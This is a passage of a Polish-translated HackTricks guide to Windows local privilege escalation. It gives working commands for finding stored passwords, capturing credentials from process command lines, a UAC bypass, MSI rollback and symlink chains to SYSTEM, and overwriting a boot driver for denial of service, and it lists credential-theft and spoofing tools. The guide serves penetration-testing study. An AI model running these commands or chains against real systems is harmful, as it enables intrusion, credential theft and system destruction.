cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Szukaj pliku o określonej nazwie
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Przeszukaj rejestr w poszukiwaniu nazw kluczy i haseł
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Narzędzia do wyszukiwania haseł
MSF-Credentials Plugin is a msf plugin I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim.
Winpeas automatycznie wyszukuje wszystkie pliki zawierające hasła wymienione na tej stronie.
Lazagne to kolejne świetne narzędzie do wyodrębniania haseł z systemu.
Narzędzie SessionGopher wyszukuje sessions, usernames oraz passwords kilku narzędzi, które zapisują te dane jawnym tekstem (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z pełnym dostępem. Ten sam proces także tworzy nowy proces (CreateProcess()) z niskimi uprawnieniami, ale dziedziczący wszystkie otwarte uchwyty głównego procesu.
Następnie, jeśli masz pełny dostęp do procesu o niskich uprawnieniach, możesz przejąć otwarty uchwyt do uprzywilejowanego procesu utworzonego przez OpenProcess() i wstrzyknąć shellcode.
Przeczytaj ten przykład, aby uzyskać więcej informacji o tym, jak wykryć i wykorzystać tę podatność.
Przeczytaj ten inny post, aby uzyskać pełniejsze wyjaśnienie, jak testować i nadużywać więcej otwartych handlers procesów i wątków dziedziczonych z różnymi poziomami uprawnień (nie tylko full access).
Named Pipe Client Impersonation
Współdzielone segmenty pamięci, nazywane pipes, umożliwiają komunikację procesów i transfer danych.
Windows udostępnia funkcję o nazwie Named Pipes, pozwalającą niespowiązanym procesom współdzielić dane, nawet w różnych sieciach. Przypomina to architekturę klient/serwer, z rolami zdefiniowanymi jako named pipe server i named pipe client.
Gdy dane są wysyłane przez client do pipe, server, który skonfigurował pipe, ma możliwość przejęcia tożsamości client, jeśli posiada wymagane uprawnienia SeImpersonate. Zidentyfikowanie uprzywilejowanego procesu, który komunikuje się przez pipe, który możesz podszyć, daje możliwość uzyskania wyższych uprawnień poprzez przyjęcie tożsamości tego procesu, gdy wejdzie on w interakcję z pipe, który utworzyłeś. Instrukcje dotyczące wykonania takiego ataku można znaleźć here oraz here.
Dodatkowo poniższe narzędzie pozwala przechwycić komunikację named pipe za pomocą narzędzia takiego jak burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a to narzędzie pozwala wyświetlić i zobaczyć wszystkie pipes, aby znaleźć privescs https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
Usługa Telephony (TapiSrv) w trybie serwera udostępnia \\pipe\\tapsrv (MS-TRP). Zdalny uwierzytelniony client może nadużyć ścieżki asynchronicznych zdarzeń opartej na mailslot, aby zamienić ClientAttach w arbitralny zapis 4 bajtów do dowolnego istniejącego pliku, do którego zapis może wykonywać NETWORK SERVICE, a następnie uzyskać prawa administratora Telephony i załadować arbitralny DLL jako service. Pełny przebieg:
ClientAttachzpszDomainUserustawionym na istniejącą ścieżkę, do której można zapisywać → service otwiera ją przezCreateFileW(..., OPEN_EXISTING)i używa jej do asynchronicznych zapisów zdarzeń.- Każde zdarzenie zapisuje kontrolowany przez atakującego
InitContextzInitializedo tego uchwytu. Zarejestruj app linii za pomocąLRegisterRequestRecipient(Req_Func 61), wyzwólTRequestMakeCall(Req_Func 121), pobierz przezGetAsyncEvents(Req_Func 0), a następnie wyrejestruj/zamknij, aby powtarzać deterministyczne zapisy. - Dodaj siebie do
[TapiAdministrators]wC:\Windows\TAPI\tsec.ini, połącz się ponownie, a następnie wywołajGetUIDllNamez arbitralną ścieżką do DLL, aby wykonaćTSPI_providerUIIdentifyjakoNETWORK SERVICE.
Więcej szczegółów:
Telephony Tapsrv Arbitrary Dword Write To Rce
Misc
File Extensions that could execute stuff in Windows
Sprawdź stronę https://filesec.io/
Protocol handler / ShellExecute abuse via Markdown renderers
Klikalne linki Markdown przekazywane do ShellExecuteExW mogą uruchamiać niebezpieczne URI handlers (file:, ms-appinstaller: lub dowolny zarejestrowany scheme) i wykonywać pliki kontrolowane przez atakującego jako bieżący user. Zobacz:
Protocol Handler Shell Execute Abuse
Monitoring Command Lines for passwords
Podczas uzyskiwania shella jako user, mogą istnieć zaplanowane tasks lub inne procesy uruchamiane, które przekazują credentials w command line. Poniższy skrypt przechwytuje command line procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Kradzież haseł z procesów
Z Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Jeśli masz dostęp do interfejsu graficznego (przez konsolę lub RDP) i UAC jest włączone, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu jako “NT\AUTHORITY SYSTEM” z poziomu nieuprzywilejowanego użytkownika.
To umożliwia podniesienie uprawnień i obejście UAC jednocześnie przy użyciu tej samej podatności. Dodatkowo nie ma potrzeby niczego instalować, a binaria używane w trakcie procesu są podpisane i wydane przez Microsoft.
Niektóre z dotkniętych systemów to:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Aby wykorzystać tę podatność, konieczne jest wykonanie następujących kroków:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Read this to learn about Integrity Levels:
Then read this to learn about UAC and UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
The technique described in this blog post with a exploit code available here.
The attack basically consist of abusing the Windows Installer’s rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a malicious MSI installer that will be used to hijack the C:\Config.Msi folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload.
The summarized technique is the following:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
Create an
.msithat installs a harmless file (e.g.,dummy.txt) in a writable folder (TARGETDIR). -
Mark the installer as “UAC Compliant”, so a non-admin user can run it.
-
Keep a handle open to the file after install.
-
Step 2: Begin Uninstall
-
Uninstall the same
.msi. -
The uninstall process starts moving files to
C:\Config.Msiand renaming them to.rbffiles (rollback backups). -
Poll the open file handle using
GetFinalPathNameByHandleto detect when the file becomesC:\Config.Msi\<random>.rbf. -
Step 3: Custom Syncing
-
The
.msiincludes a custom uninstall action (SyncOnRbfWritten) that: -
Signals when
.rbfhas been written. -
Then waits on another event before continuing the uninstall.
-
Step 4: Block Deletion of
.rbf -
When signaled, open the
.rbffile withoutFILE_SHARE_DELETE— this prevents it from being deleted. -
Then signal back so the uninstall can finish.
-
Windows Installer fails to delete the
.rbf, and because it can’t delete all contents,C:\Config.Msiis not removed. -
Step 5: Manually Delete
.rbf -
You (attacker) delete the
.rbffile manually. -
Now
C:\Config.Msiis empty, ready to be hijacked.
At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete
C:\Config.Msi.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
Recreate the
C:\Config.Msifolder yourself. -
Set weak DACLs (e.g., Everyone:F), and keep a handle open with
WRITE_DAC. -
Step 7: Run Another Install
-
Install the
.msiagain, with: -
TARGETDIR: Writable location. -
ERROROUT: A variable that triggers a forced failure. -
This install will be used to trigger rollback again, which reads
.rbsand.rbf. -
Step 8: Monitor for
.rbs -
Use
ReadDirectoryChangesWto monitorC:\Config.Msiuntil a new.rbsappears. -
Capture its filename.
-
Step 9: Sync Before Rollback
-
The
.msicontains a custom install action (SyncBeforeRollback) that: -
Signals an event when the
.rbsis created. -
Then waits before continuing.
-
Step 10: Reapply Weak ACL
-
After receiving the
.rbs createdevent: -
The Windows Installer reapplies strong ACLs to
C:\Config.Msi. -
But since you still have a handle with
WRITE_DAC, you can reapply weak ACLs again.
ACLs are only enforced on handle open, so you can still write to the folder.
-
Step 11: Drop Fake
.rbsand.rbf -
Overwrite the
.rbsfile with a fake rollback script that tells Windows to: -
Restore your
.rbffile (malicious DLL) into a privileged location (e.g.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Drop your fake
.rbfcontaining a malicious SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Signal the sync event so the installer resumes.
-
A type 19 custom action (
ErrorOut) is configured to intentionally fail the install at a known point. -
This causes rollback to begin.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Reads your malicious
.rbs. -
Copies your
.rbfDLL into the target location. -
You now have your malicious DLL in a SYSTEM-loaded path.
-
Final Step: Execute SYSTEM Code
-
Run a trusted auto-elevated binary (e.g.,
osk.exe) that loads the DLL you hijacked. -
Boom: Your code is executed as SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?
You could exploit NTFS internals: every folder has a hidden alternate data stream called:
C:\SomeFolder::$INDEX_ALLOCATION
Ten strumień przechowuje index metadata folderu.
Więc jeśli usuniesz strumień ::$INDEX_ALLOCATION folderu, NTFS usuwa cały folder z filesystem.
Możesz to zrobić, używając standardowych API do usuwania plików, takich jak:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Nawet jeśli wywołujesz API usuwania pliku, ono usuwa sam folder.
Od usuwania zawartości folderu do SYSTEM EoP
Co jeśli twój primitive nie pozwala usuwać dowolnych plików/folderów, ale pozwala usuwać zawartość folderu kontrolowanego przez atakującego?
- Krok 1: Skonfiguruj folder i plik przynętę
- Utwórz:
C:\temp\folder1 - Wewnątrz:
C:\temp\folder1\file1.txt
- Krok 2: Załóż oplock na
file1.txt
- Oplock wstrzymuje wykonanie, gdy uprzywilejowany proces próbuje usunąć
file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Krok 3: Wywołaj proces SYSTEM (np.
SilentCleanup)
- Ten proces skanuje foldery (np.
%TEMP%) i próbuje usunąć ich zawartość. - Gdy dotrze do
file1.txt, oplock zostaje wyzwolony i przekazuje kontrolę do twojego callbacka.
- Krok 4: Wewnątrz callbacka oplock – przekieruj usuwanie
-
Opcja A: Przenieś
file1.txtgdzie indziej -
To opróżnia
folder1bez zrywania oplock. -
Nie usuwaj
file1.txtbezpośrednio — to zwolniłoby oplock przedwcześnie. -
Opcja B: Zamień
folder1w junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opcja C: Utwórz symlink w
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
To atakuje wewnętrzny strumień NTFS, który przechowuje metadane folderu — usunięcie go usuwa folder.
- Step 5: Zwolnij oplock
- Proces SYSTEM kontynuuje i próbuje usunąć
file1.txt. - Ale teraz, dzięki junction + symlink, w rzeczywistości usuwa:
C:\Config.Msi::$INDEX_ALLOCATION
Wynik: C:\Config.Msi jest usuwany przez SYSTEM.
Od Arbitrary Folder Create do Permanent DoS
Wykorzystaj prymityw, który pozwala Ci utworzyć dowolny folder jako SYSTEM/admin — nawet jeśli nie możesz zapisywać plików ani ustawiać słabych uprawnień.
Utwórz folder (nie plik) o nazwie krytycznego sterownika Windows, np.:
C:\Windows\System32\cng.sys
- Ta ścieżka zwykle odpowiada sterownikowi jądra
cng.sys. - Jeśli utworzysz ją wcześniej jako folder, Windows nie zdoła załadować właściwego sterownika podczas rozruchu.
- Następnie Windows próbuje załadować
cng.syspodczas startu. - Widzi folder, nie potrafi odnaleźć właściwego sterownika i crashuje albo zatrzymuje boot.
- Nie ma fallback, i brak recovery bez interwencji z zewnątrz (np. naprawa boot lub dostęp do dysku).
From privileged log/backup paths + OM symlinks to arbitrary file overwrite / boot DoS
Gdy uprzywilejowana usługa zapisuje logi/eksporty do ścieżki odczytywanej z zapisywalnej konfiguracji, przekieruj tę ścieżkę za pomocą Object Manager symlinks + NTFS mount points tak, aby uprzywilejowany zapis zamienił się w arbitralny overwrite (nawet bez SeCreateSymbolicLinkPrivilege).
Wymagania
- Konfiguracja przechowująca ścieżkę docelową jest zapisywalna przez atakującego (np.
%ProgramData%\...\.ini). - Możliwość utworzenia mount point do
\RPC Controloraz OM file symlink (James Forshaw symboliclink-testing-tools). - Uprzywilejowana operacja, która zapisuje do tej ścieżki (log, export, report).
Przykładowy łańcuch
- Odczytaj konfigurację, aby odzyskać uprzywilejowaną ścieżkę docelową logów, np.
SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txtwC:\ProgramData\ICONICS\IcoSetup64.ini. - Przekieruj ścieżkę bez admina:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
- Poczekaj, aż uprzywilejowany komponent zapisze log (np. administrator uruchamia „send test SMS”). Zapis teraz trafia do
C:\Windows\System32\cng.sys. - Sprawdź nadpisany cel (hex/PE parser), aby potwierdzić uszkodzenie; restart wymusza na Windows załadowanie podmienionej ścieżki sterownika → boot loop DoS. To uogólnia się także na dowolny chroniony plik, który uprzywilejowana usługa otworzy do zapisu.
cng.sysjest zwykle ładowany zC:\Windows\System32\drivers\cng.sys, ale jeśli kopia istnieje wC:\Windows\System32\cng.sys, może zostać sprawdzona najpierw, co czyni go niezawodnym celem DoS dla uszkodzonych danych.
From High Integrity to System
New service
Jeśli już działasz w procesie o High Integrity, ścieżka do SYSTEM może być łatwa — wystarczy utworzyć i uruchomić nową usługę:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Podczas tworzenia binarki usługi upewnij się, że jest to poprawna usługa albo że binarka wykona wymagane działania wystarczająco szybko, ponieważ zostanie zabita po 20 s, jeśli nie będzie poprawną usługą.
AlwaysInstallElevated
Z procesu o High Integrity możesz spróbować włączyć wpisy rejestru AlwaysInstallElevated i zainstalować reverse shell przy użyciu wrappera .msi.
Więcej informacji o powiązanych kluczach rejestru i o tym, jak zainstalować pakiet .msi tutaj.
High + SeImpersonate privilege to System
Możesz znaleźć kod tutaj.
From SeDebug + SeImpersonate to Full Token privileges
Jeśli masz te token privileges (prawdopodobnie znajdziesz je w już High Integrity process), będziesz w stanie otworzyć prawie każdy proces (nieprotected processes) z przywilejem SeDebug, skopiować token procesu i utworzyć dowolny proces z tym tokenem.
Zazwyczaj ta technika polega na wybraniu dowolnego procesu działającego jako SYSTEM ze wszystkimi token privileges (tak, możesz znaleźć procesy SYSTEM bez wszystkich token privileges).
Możesz znaleźć przykład kodu wykonującego proponowaną technikę tutaj.
Named Pipes
Ta technika jest używana przez meterpreter do eskalacji w getsystem. Technika polega na utworzeniu pipe i następnie utworzeniu/nadużyciu usługi, aby zapisała do tego pipe. Następnie server, który utworzył pipe przy użyciu przywileju SeImpersonate, będzie mógł impersonate token klienta pipe (usługi), uzyskując uprawnienia SYSTEM.
Jeśli chcesz dowiedzieć się więcej o name pipes powinieneś przeczytać to.
Jeśli chcesz przeczytać przykład jak przejść z high integrity do System używając name pipes powinieneś przeczytać to.
Dll Hijacking
Jeśli uda ci się hijack dll ładowaną przez process działający jako SYSTEM, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest także przydatny w tego typu privilege escalation, a ponadto jest to znacznie łatwiejsze do osiągnięcia z procesu o high integrity, ponieważ będzie on miał write permissions do folderów używanych do ładowania dlls.
Możesz dowiedzieć się więcej o Dll hijacking tutaj.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
More help
Useful tools
Best tool to look for Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – Sprawdza błędne konfiguracje i wrażliwe pliki (sprawdź tutaj). Wykryte.
JAWS – Sprawdza niektóre możliwe błędne konfiguracje i zbiera informacje (sprawdź tutaj).
privesc – Sprawdza błędne konfiguracje
SessionGopher – Extracts informacje o zapisanych sesjach PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.
Invoke-WCMDump – Extracts crendentials z Credential Manager. Detected.
DomainPasswordSpray – Spray gathered passwords across domain
Inveigh – Inveigh is a PowerShell ADIDNS/LLMNR/mDNS spoofer and man-in-the-middle tool.
WindowsEnum – Basic privesc Windows enumerationSherlock ~~~~ – Search for known privesc vulnerabilities (DEPRECATED for Watson)WINspect – Local checks (Need Admin rights)
Exe
Watson – Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled)
SeatBelt – Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) (precompiled)
LaZagne – Extracts credentials from lots of softwares (precompiled exe in github)
SharpUP – Port of PowerUp to C#Beroot ~~~~ – Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.Windows-Privesc-Check – Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.
Bat
winPEASbat – Tool created based in this post (it does not need accesschk to work properly but it can use it).
Local
Windows-Exploit-Suggester – Reads the output of systeminfo and recommends working exploits (local python)
Windows Exploit Suggester Next Generation – Reads the output of systeminfo andrecommends working exploits (local python)
Meterpreter
multi/recon/local_exploit_suggestor
You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
References
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
-
Unit 42 – Privileged File System Vulnerability Present in a SCADA System
-
ZDI - Node.js Trust Falls: Dangerous Module Resolution on Windows
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.


